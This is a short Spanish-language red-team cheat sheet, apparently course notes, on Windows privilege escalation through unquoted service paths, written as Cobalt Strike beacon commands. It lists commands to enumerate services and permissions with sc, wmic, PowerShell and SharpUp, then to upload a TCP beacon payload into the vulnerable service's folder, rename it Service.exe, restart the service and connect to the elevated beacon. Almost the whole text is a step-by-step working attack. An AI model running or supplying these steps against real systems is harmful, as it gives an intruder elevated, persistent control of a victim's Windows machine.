Unquoted Service Paths

Windows Services

Listar servicios.

run sc query
run wmic service get name, pathname
run sc qc ServiceName
powershell Get-Service | fl
powershell Get-Service "wmi*"

Utilizar SharpUp para indentificar servicios vulnerables.

execute-assembly C:\Tools\SharpUp.exe audit

Muestra los permisos de varios objetos incluyendo archivos y directorios.

powershell Get-Acl -Path "C:\Program Files\Vulnerable Service1" | fl

Identificar servicios vulnerables a UnquotedServicePath.

run wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
execute-assembly C:\Tools\SharpUp.exe audit UnquotedServicePath

Creamos un payload y lo subimos a la maquina victima.

Note

Recomendado utilizar TCP Listener beacons solo cuando se realiza privileges escalation.

cd c:\\program files\\Vulnerable Service1
upload C:\Tools\Payloads\tcp_beacon_x64.exe
mv tcp_beacon_x64.exe Service.exe

Iniciamos el servicio.

run sc stop "Vulnerable Service 1"
run sc start "Vulnerable Service 1"

Acceder al beacon.

connect localhost 4444